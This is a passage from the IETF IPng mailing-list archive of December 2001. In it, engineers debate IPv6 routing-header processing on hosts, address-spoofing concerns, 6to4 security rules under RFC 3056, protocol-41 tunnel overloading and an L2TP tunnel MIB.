<2183.1008149469@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 11 Dec 2001 19:05:37 +0100 (CET) From: Erik Nordmark Message-ID: | It isn't obvious to me from reading RFC 2460 whether a host can drop packets | with routing headers instead of resubmitting them for transmissing to the | next hop. You don't have to read 2460 to know the answer to that particular question. Of course it can (drop them) - hosts, routers, anything else, are permitted to drop any packets that they want to, for any purposes that they want to, nothing can force someone else to process any packets they don't want to process. That can mean disrupted communications if applied to extremes of course, to which the solution is simply not to rely upon any system which drops packets that you need forwarded ... in the above example, you really wouldn't sanely attempt to source route through a host which you didn't know was prepared to forward your packets. There is though a different, related, question - one where what 2460 says is applicable ... that is whether a host implementation should simply drop packets containing source routes, rather than forwarding them. Here we get the questions of the conformance of the implementation to the spec. And there I think the answer is a clear no - implementations are required to be at least capable of processing routing headers (even in hosts). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 02:00:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCA0NvU026448 for ; Wed, 12 Dec 2001 02:00:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCA0N0a026447 for ipng-dist; Wed, 12 Dec 2001 02:00:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCA0JvU026437; Wed, 12 Dec 2001 02:00:19 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA08101; Wed, 12 Dec 2001 02:00:20 -0800 (PST) Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA17636; Wed, 12 Dec 2001 02:00:19 -0800 (PST) Received: from ws34.nomadiclab.com (ws34.nomadiclab.com [195.165.196.34]) by ws130.nomadiclab.com (Postfix) with ESMTP id CC09B74407; Wed, 12 Dec 2001 12:07:38 +0200 (EET) Received: from nomadiclab.com (localhost [127.0.0.1]) by ws34.nomadiclab.com (Postfix) with ESMTP id B27D2BA21; Wed, 12 Dec 2001 12:00:15 +0200 (EET) Message-ID: <3C172996.6050706@nomadiclab.com> Date: Wed, 12 Dec 2001 11:55:34 +0200 From: Pekka Nikander User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.5) Gecko/20011011 X-Accept-Language: en-us MIME-Version: 1.0 To: gmorrow@nortelnetworks.com Cc: mobile-ip@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: IPv6 address ownership and autoconfig problems (was Re: [mobile-ip] Routing header Vs tunneling References: <933FADF5E673D411B8A30002A5608A0E01223CB9@zrc2c012.us.nortel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Glenn, [I am redirecting this to ipng, in addition to mobile-ip, since the address ownership problems are a larger issue than just a Mobile IPv6 security thing.] Glenn Morrow writes: > What prevents a node from obtaining and using any number of free or > not free (i.e. in use by another legitimate node) IP addresses such > that they can spoof addresses albeit only on the same subnet IF INGRESS > FILTERING is used on the first hop. Use of IPSEC is not mandated. Use of > INGRESS FILTERING is not mandated, either. What is the interaction with > control lists, etc.. etc.. etc.. Are there any provisions for > anti-mac-spoofing, etc.. etc.. etc.. Pekka's draft which detailed most > of the holes has expired, perhaps he is listening and will republish it. The old address-ownership draft is available at http://www.tml.hut.fi/~pnr/publications/draft-nikander-ipng-address-ownership-00.txt If there is demand I'd be happy to revise it. Would it be useful to revise it and publish it as an informational RFC? Please note that many of the issues discussed in that draft are also discussed in my Cambridge Security Protocols Workshop paper, which will eventually be published in the LNCS series. A pre-publication version of that is available at http://www.tml.hut.fi/~pnr/publications/cam2001.pdf BTW, while you consider ingress filtering etc, you may find it entertaining to read our recent half-serious half-joking paper titled "IPv6 Source Addresses Considered Harmful", available at http://www.tml.hut.fi/~pnr/publications/nordsec2001.pdf --Pekka Nikander -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 07:00:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCF0wvU027049 for ; Wed, 12 Dec 2001 07:00:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCF0wcY027048 for ipng-dist; Wed, 12 Dec 2001 07:00:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCF0tvU027041 for ; Wed, 12 Dec 2001 07:00:55 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA06235 for ; Wed, 12 Dec 2001 07:00:55 -0800 (PST) Received: from zrc2s0jx.nortelnetworks.com (zrc2s0jx.nortelnetworks.com [47.103.122.112]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA08798 for ; Wed, 12 Dec 2001 07:00:54 -0800 (PST) Received: from zrchb200.us.nortel.com (zrchb200.us.nortel.com [47.103.121.45]) by zrc2s0jx.nortelnetworks.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id fBCF0an08969; Wed, 12 Dec 2001 09:00:37 -0600 (CST) Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Dec 2001 08:59:26 -0600 Message-ID: <933FADF5E673D411B8A30002A5608A0E012871DD@zrc2c012.us.nortel.com> From: "Glenn Morrow" To: Pekka Savola , Erik Nordmark Cc: "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: RE: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt Date: Wed, 12 Dec 2001 08:59:45 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1831D.A3423540" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1831D.A3423540 Content-Type: text/plain; charset="iso-8859-1" I don't see a problem with requiring routing header processing on all IPv6 hosts as long as the use of them is backed up by a secure means. The routing headers aren't the problem. The problem is the security semantics of their use. > -----Original Message----- > From: Pekka Savola [mailto:pekkas@netcore.fi] > Sent: Tuesday, December 11, 2001 9:58 AM > To: Erik Nordmark > Cc: Jari T. Malinen; ipng@sunroof.eng.sun.com > Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt > > > I'll try to discuss most points in this thread here.. > > On Tue, 11 Dec 2001, Erik Nordmark wrote: > > > So to get more clarity, is the localization (to the firewall) of > > > controlling the use of routing header something that you > find necessary? > > > > I honestly don't know. > > Pekka brought up the issue - perhaps he can comment? > > > > The background for this was that allowing generic use of > routing headers > > is dangerous and is something that firewalls might block. > > But I don't fully understand the severity of allowing > general use of routing > > headers - it does allow a DoS attacker to hide a bit since > it could be > > present at any previous hop in the routing header. > > This is an issue that came up after I wrote a draft on 6to4 security. > > It frustrated me a great deal that IPv6-in-IPv4 tunneling > with the same > protocol number 41 could be used for various things: > > 1. configured tunneling > > 2. automatic tunneling > 2.1 automatic tunneling with compatible addresses > 2.2 6to4 > 2.3 ISATAP > (more to come?) > > If any two of 2.x are used in the same node, it's impossible to > distinguish and create complete security rules for more than > one of them > simultaneously.. because protocol 41 has been overloaded. > > The rules can't really be made in the firewall (without encapsulation > support etc.), but they can't really be made on the end-nodes > either. > Thus, this is even worse issue than here. With RH, we still > have a choice > for both. > > Sure, it's easy to make it work this way... > > I'd like to avoid this kind of overloading ("because it's > easy to do it > like that") if we can. I'd rather not repeat the same issues with > automatic tunneling with routing headers in a few years. > > However, I don't see this "distinguishability" as a MUST as long as: > > 1) MIPv6 MUST NOT require all processing of routing headers > be enabled in > MN's > > 2) MIPv6 MUST require a special case for routing header > processing that > is sufficiently secure. > > 3)IPv6 SHOULD/MUST state (given 1,2) that nodes SHOULD NOT/MUST NOT > enable routing header processing on hosts by default > > ( one could argue that currently, RFC2460 requires they must > be processed > [due to MIPv6] -- not all share my interpretation on this ) > > That is, if we can say quickly enough "routing headers cannot > harm your > hosts!" they might not be taken as a security threat, and > distinguishability would not be required. > > > ... > > But really, IMO the tougher issue is how HAO will/should be handled. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > ------_=_NextPart_001_01C1831D.A3423540 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: I-D = ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt

I don't see a problem with requiring routing header = processing on all IPv6 hosts as long as the use of them is backed up by = a secure means. The routing headers aren't the problem. The problem is = the security semantics of their use.

> -----Original Message-----
> From: Pekka Savola [mailto:pekkas@netcore.fi]
> Sent: Tuesday, December 11, 2001 9:58 AM
> To: Erik Nordmark
> Cc: Jari T. Malinen; = ipng@sunroof.eng.sun.com
> Subject: Re: I-D = ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt
>
>
> I'll try to discuss most points in this thread = here..
>
> On Tue, 11 Dec 2001, Erik Nordmark = wrote:
> > > So to get more clarity, is the = localization (to the firewall) of
> > > controlling the use of routing header = something that you
> find necessary?
> >
> > I honestly don't know.
> > Pekka brought up the issue - perhaps he = can comment?
> >
> > The background for this was that allowing = generic use of
> routing headers
> > is dangerous and is something that = firewalls might block.
> > But I don't fully understand the severity = of allowing
> general use of routing
> > headers - it does allow a DoS attacker to = hide a bit since
> it could be
> > present at any previous hop in the routing = header.
>
> This is an issue that came up after I wrote a = draft on 6to4 security.
>
> It frustrated me a great deal that IPv6-in-IPv4 = tunneling
> with the same
> protocol number 41 could be used for various = things:
>
> 1. configured tunneling
>
> 2. automatic tunneling
>  2.1 automatic tunneling with compatible = addresses
>  2.2 6to4
>  2.3 ISATAP
>  (more to come?)
>
> If any two of 2.x are used in the same node, = it's impossible to
> distinguish and create complete security rules = for more than
> one of them
> simultaneously.. because protocol 41 has been = overloaded.
>
> The rules can't really be made in the firewall = (without encapsulation
> support etc.), but they can't really be made on = the end-nodes
> either. 
> Thus, this is even worse issue than here.  = With RH, we still
> have a choice
> for both.
>
> Sure, it's easy to make it work this = way...
>
> I'd like to avoid this kind of overloading = ("because it's
> easy to do it
> like that") if we can.  I'd rather = not repeat the same issues with
> automatic tunneling with routing headers in a = few years.
>
> However, I don't see this = "distinguishability" as a MUST as long as:
>
>  1) MIPv6 MUST NOT require all processing = of routing headers
> be enabled in
> MN's
>
>  2) MIPv6 MUST require a special case for = routing header
> processing that
> is sufficiently secure.
>
>  3)IPv6 SHOULD/MUST state (given 1,2) that = nodes SHOULD NOT/MUST NOT
> enable routing header processing on hosts by = default
>
> ( one could argue that currently, RFC2460 = requires they must
> be processed
> [due to MIPv6] -- not all share my = interpretation on this )
>
> That is, if we can say quickly enough = "routing headers cannot
> harm your
> hosts!" they might not be taken as a = security threat, and
> distinguishability would not be = required.
>
>
> ...
>
> But really, IMO the tougher issue is how HAO = will/should be handled.
>
> --
> Pekka = Savola           =       "Tell me of difficulties = surmounted,
> Netcore = Oy           &nbs= p;       not those you stumble over and = fall"
> Systems. Networks. Security.  -- Robert = Jordan: A Crown of Swords
>
>
>
>
> = --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
> FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to = majordomo@sunroof.eng.sun.com
> = --------------------------------------------------------------------
>

------_=_NextPart_001_01C1831D.A3423540-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 07:42:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCFgrvU027226 for ; Wed, 12 Dec 2001 07:42:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCFgqeN027225 for ipng-dist; Wed, 12 Dec 2001 07:42:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCFgnvU027218; Wed, 12 Dec 2001 07:42:49 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA12947; Wed, 12 Dec 2001 07:42:50 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA29791; Wed, 12 Dec 2001 07:42:48 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA17242; Wed, 12 Dec 2001 16:42:47 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60322 from ; Wed, 12 Dec 2001 16:42:41 +0100 Message-Id: <3C177AEF.F7ED1922@hursley.ibm.com> Date: Wed, 12 Dec 2001 16:42:39 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Tue, 11 Dec 2001, Brian E Carpenter wrote: > > Pekka Savola wrote: > > > > > > On Tue, 11 Dec 2001, Brian E Carpenter wrote: > > > > Pekka Savola wrote: > > > > ... > > > > > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt > > > > > > > > > > > > (by the way, comments would be welcome ;-) > > > > ... > > > > > > > > > > > Your discussion about what should not happen are already in RFC 3056 > > > > > > security issues. > > > > > > > > > > Some are, some aren't. But the main point was, that RFC 3056 rules were a > > > > > little abstract (and as a matter of fact, wrong in one sentence), so that > > > > > they were basically unimplementable and rather non-understandable. This > > > > > is noted in the introduction. > > > > > > > > There's no harm in an informational document making the RFC 3056 security > > > > rules more explicit, although the details are certainly implementation > > > > dependent. However, I can't find in your draft a clear reference to the > > > > sentence in 3056 that you believe is wrong. > > > > > > It's not noted in the draft, but it was mentioned on ngtrans list. > > > > > > In security considerations: > > > > > > A possible > > > plausibility check is whether the encapsulating IPv4 address is > > > consistent with the encapsulated 2002:: address. If this check is > > > applied, exceptions to it must be configured to admit traffic from > > > relay routers (Section 5). > > > > > > The latter sentence makes no sense and is confusing, as the only packets > > > coming from relay have the native source address, not 2002::/16, and > > > destination need not be excepted if it is checked. > > > > Sorry, I think you are wrong. If the source of a packet is a normal > > 6to4 router, the outer IPv4 source address must be consistent(*) with the > > V4ADDR of the source address in the embedded 2002:: packet. > > This is an issue with multihomed, but that does not affect discussion > here. It has absolutely nothing to do with multihoming, except for my footnote(*) on the meaning of "consistent". > > Anyway, multihomed IMO probably should select IPv4 address that matches > matches the prefix. I see little reason to support the asymmetry (one > 6to4 prefix, multiple IPv4 addresses). In multihoming scenario, this > would be useful only when one connection fails, but then the return > packets could not be delivered anyway. > > > But if the source of the packet is a 6to4 relay, the inner source address > > may be a native IPv6 address that would fail the consistency check, > > so the check must be skipped. That's what the second sentence says. > > The sentence refers to: > > whether the encapsulating IPv4 address is consistent with the encapsulated > 2002:: address. > > 1) You cannot receive IPv6 packets from *relay* which have 2002::/16 > prefix. If you do, someone is using 6to4 improperly. We agree on this. Actually, the relay (according to RFC 3056) is a 6to4 router that also has a native IPv6 interface. It certainly can source 2002: packets from its own site, as well as native source addresses from the native interface. You can apply the consistency check, but not to relayed packets with a native source address. > > 2) How do you check that 3ffe:ffff::1 is consistant with an IPv4 address? > > You cannot check *consistancy* unless the addresses are of form > 2002: and . Only 2002 and IPv4 can > be compared. Yes. 3056 says nothing different. I see no error in the 3056 text. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 07:47:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCFlbvU027275 for ; Wed, 12 Dec 2001 07:47:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCFlbTx027274 for ipng-dist; Wed, 12 Dec 2001 07:47:37 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCFlYvU027267 for ; Wed, 12 Dec 2001 07:47:34 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13904 for ; Wed, 12 Dec 2001 07:47:35 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02332 for ; Wed, 12 Dec 2001 07:47:26 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA17714; Wed, 12 Dec 2001 16:47:21 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA57994 from ; Wed, 12 Dec 2001 16:47:05 +0100 Message-Id: <3C177BF6.A800E20E@hursley.ibm.com> Date: Wed, 12 Dec 2001 16:47:02 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Francis Dupont Cc: Pekka Savola , Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: <200112111828.fBBISWD21808@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont wrote: > > In your previous mail you wrote: > > It frustrated me a great deal that IPv6-in-IPv4 tunneling with the same > protocol number 41 could be used for various things: > > 1. configured tunneling > > 2. automatic tunneling > 2.1 automatic tunneling with compatible addresses > 2.2 6to4 > 2.3 ISATAP > (more to come?) > > => oh, you forgot 6over4 ! > In any case, I think the reusability of type 41 is a feature, not a bug. It means we only have to persuade ISPs and corporate security people to open up one IPv4 protocol type to enable all forms of 6in4 tunnels. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 08:07:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCG7ovU027317 for ; Wed, 12 Dec 2001 08:07:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCG7omN027316 for ipng-dist; Wed, 12 Dec 2001 08:07:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCG7kvU027309 for ; Wed, 12 Dec 2001 08:07:46 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA06645 for ; Wed, 12 Dec 2001 08:07:48 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA26312 for ; Wed, 12 Dec 2001 09:07:28 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBCG7TI14176; Wed, 12 Dec 2001 17:07:29 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA00914; Wed, 12 Dec 2001 17:07:29 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBCG7TD24879; Wed, 12 Dec 2001 17:07:29 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112121607.fBCG7TD24879@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Steve Deering cc: "Christian Huitema" , ipng@sunroof.eng.sun.com Subject: Re: Security & draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 21:24:04 PST. Date: Wed, 12 Dec 2001 17:07:29 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: There may be other zero-extra-overhead solutions, but I need to think about it some more... => use AH *and* ESP: the overhead of AH is near the same than the authentication function in ESP. Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 09:37:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCHbdvU027811 for ; Wed, 12 Dec 2001 09:37:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCHbdv0027810 for ipng-dist; Wed, 12 Dec 2001 09:37:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCHbZvU027803 for ; Wed, 12 Dec 2001 09:37:35 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA16336 for ; Wed, 12 Dec 2001 09:37:37 -0800 (PST) Received: from eins.siemens.at (eins.siemens.at [193.81.246.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA09105 for ; Wed, 12 Dec 2001 10:37:18 -0700 (MST) Received: from scesie13.sie.siemens.at (forix [10.1.140.2]) by eins.siemens.at with ESMTP id fBCHbYT11812; Wed, 12 Dec 2001 18:37:34 +0100 Received: (from smap@localhost) by scesie13.sie.siemens.at (8.9.3/8.9.3) id SAA29619; Wed, 12 Dec 2001 18:37:30 +0100 (MET) Received: from atws15tc.sie.siemens.at(158.226.135.41) by scesie13 via smap (V2.0beta) id xma029431; Wed, 12 Dec 01 18:37:18 +0100 Received: by vies194a.sie.siemens.at with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Dec 2001 18:37:16 +0100 Message-ID: From: Klausberger Walter To: "'Evan Caves'" , "W. Mark Townsley" Cc: Klausberger Walter , "'Daniel Feldman'" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: RE: [L2tpext] IP Tunnel MIB Date: Wed, 12 Dec 2001 18:37:14 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well, I didn't want to offend anyone and people surely did a good job, but I still think that the IP Tunnel MIB is a bit too static and fit for LNS, but not so well for a RADIUS driven LAC. I really would like to see an example for a RADIUS controlled LAC that supports Tunnel MIB. regards - walter > -----Original Message----- > From: Evan Caves [mailto:evan@occamnetworks.com] > Sent: Tuesday, December 11, 2001 1:18 AM > To: W. Mark Townsley > Cc: Klausberger Walter; 'Daniel Feldman'; l2tpext@ietf.org; > ipng@sunroof.eng.sun.com > Subject: Re: [L2tpext] IP Tunnel MIB > > > > > W. Mark Townsley wrote: > > >Hi Walter. > > > >The L2TP MIB we have today, which for the record is the MIB > for RFC2661 L2TP > >over IPv4, has available for extensive review by this group > as well as the MIB > >Doctors whose time is not easy to come by and blessing > sometimes difficult to > >achieve. It has been a long and tedious process that I would > hate to turn on its > >ear at this point and try to repeat from square zero. > > > >As you have mentioned, L2TPv3 will require significant MIB > changes in order to > >support multiple L2 transports. > > > I think you mean different payloads. The MIB in its current form is > structured to support multiple L2 transports. I > would suspect that the effort involved is about the same as it was > tearing apart the L2TP protocol spec to > create base and payload specs. > > evan > - > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 10:45:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCIj4vU028064 for ; Wed, 12 Dec 2001 10:45:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCIj3u5028063 for ipng-dist; Wed, 12 Dec 2001 10:45:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCIj0vU028056 for ; Wed, 12 Dec 2001 10:45:00 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA04859; Wed, 12 Dec 2001 10:45:02 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com 